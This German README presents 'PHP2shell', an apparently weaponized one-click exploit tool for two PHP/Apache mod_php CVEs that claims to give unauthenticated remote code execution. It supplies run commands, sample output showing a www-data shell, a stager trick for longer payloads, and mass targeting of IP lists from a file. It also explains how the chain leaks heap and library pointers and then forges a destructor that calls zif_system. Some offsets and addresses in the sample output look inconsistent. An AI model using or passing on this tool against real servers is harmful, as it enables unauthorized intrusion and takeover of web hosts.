
Ein-Klick-Exploit-PoC für CVE-2026-109618 und CVE-2026-109619 gegen anfällige PHP + Apache mod_php (prefork)-Ziele.
Ein-Klick-waffenfähiger PoC für CVE-2026-109618 & CVE-2026-109619
Zielt auf anfällige PHP + Apache mod_php (prefork)-Deployments ab.
⚠️ WARNUNG: Dieses Tool wird ausschließlich für autorisierte Sicherheitstests, CTFs und Bildungsforschung bereitgestellt. Verwenden Sie es nicht gegen Infrastruktur, die Ihnen nicht gehört oder für die Sie keine ausdrückliche Testgenehmigung haben. Der Autor übernimmt keine Haftung für Missbrauch.
PHP2shell ist ein mehrstufiger Speicherkorruptions-Exploit, der auf den PHP-Kern innerhalb von Apache mod_php prefork-Umgebungen abzielt.
Durch die Ausnutzung der Out-Of-Memory (OOM)-Behandlung und des anfragegebundenen Zustands, der in persistenten Workern überlebt, umgeht dieser Exploit ASLR (Address Space Layout Randomization), leakt interne Heap- und libphp.so-Zeiger und fälscht PHP-Strukturen, um nicht authentifizierte Remote Code Execution (RCE) zu erreichen.
bookworm (Standard): Offizielles php:8.4.26-apache Docker-Image auf Debian Bookworm.lab: Benutzerdefinierter Lab-Build (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).In Sekunden einsatzbereit.
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Aufgrund der Trägergröße von 167 Bytes ist die Befehls länge strikt auf 14 Bytes begrenzt. Um längere Payloads auszuführen, verwenden Sie einen kurzen Stager:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
Erstellen Sie eine Datei targets.txt:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
Führe den Exploit sequenziell gegen alle Ziele aus:
python3 php2shell.py -t targets.txt
Wenn Sie die Offsets manuell extrahiert haben oder auf einen benutzerdefinierten Build abzielen, übergeben Sie sie direkt:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
Anstatt eine lokale Datei zu prüfen, erzwingen Sie, dass der Exploit RCE durch das Abrufen einer Datei über HTTP verifiziert:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| Argument | Beschreibung |
|---|---|
-u, --url | URL der Ziel-PHP-Seite |
-t, --target-file | Datei mit einer Ziel-URL pro Zeile |
-c, --cmd | Auszuführender Befehl (max. 14 Bytes) |
--proof-file | Lokale Proof-Datei zum Prüfen (Standard: out/p1) |
--fetch | GET-Pfad zur Remote-Verifizierung der Ausnutzung |
--profile | Zielprofil: bookworm (Standard) oder lab |
--zif-offset | Offset von zif_system in libphp.so |
--dtor-offset | Offset von ZVAL_PTR_DTOR in libphp.so |
--htdata-offset | Chunk-relativer Offset des 167-Byte-Strings |
--retries | Versuche pro Leak-Stufe (Standard: 3) |
--no-color | ANSI-Farben deaktivieren |
| Stufe 0 | Worker-Rotation: Sendet eine überdimensionierte Anfrage, um Apache prefork zu zwingen, den aktuellen Worker abzubrechen und einen frischen Kindprozess mit sauberem Heap zu forken. |
| Stufe 1 | Heap-Leak: Löst eine OOM-Korruption aus, sodass ein modulglobaler Zeiger auf freigegebenen Speicher verweist. Gesprayte Formularfelder belegen den Slot mit einem gefälschten zend_string erneut und leaken Heap-Zeiger über Set-Cookie. |
| Stufe 2 | ASLR-Bypass: Leakt einen zval_ptr_dtor-Zeiger aus libphp.so. Durch Subtraktion des bekannten DTOR_OFFSET wird die Basisadresse der Bibliothek ermittelt. |
| Stufe 3 | RCE: Fälscht eine HashTable und setzt pDestructor auf libphp_base + ZIF_OFFSET. PHPs Cleanup-Routine ruft zif_system mit Ihrem Befehl auf. |
Lizenziert unter der MIT License. Details siehe LICENSE.
Mit 🔥 erstellt von 0xgh057r3c0n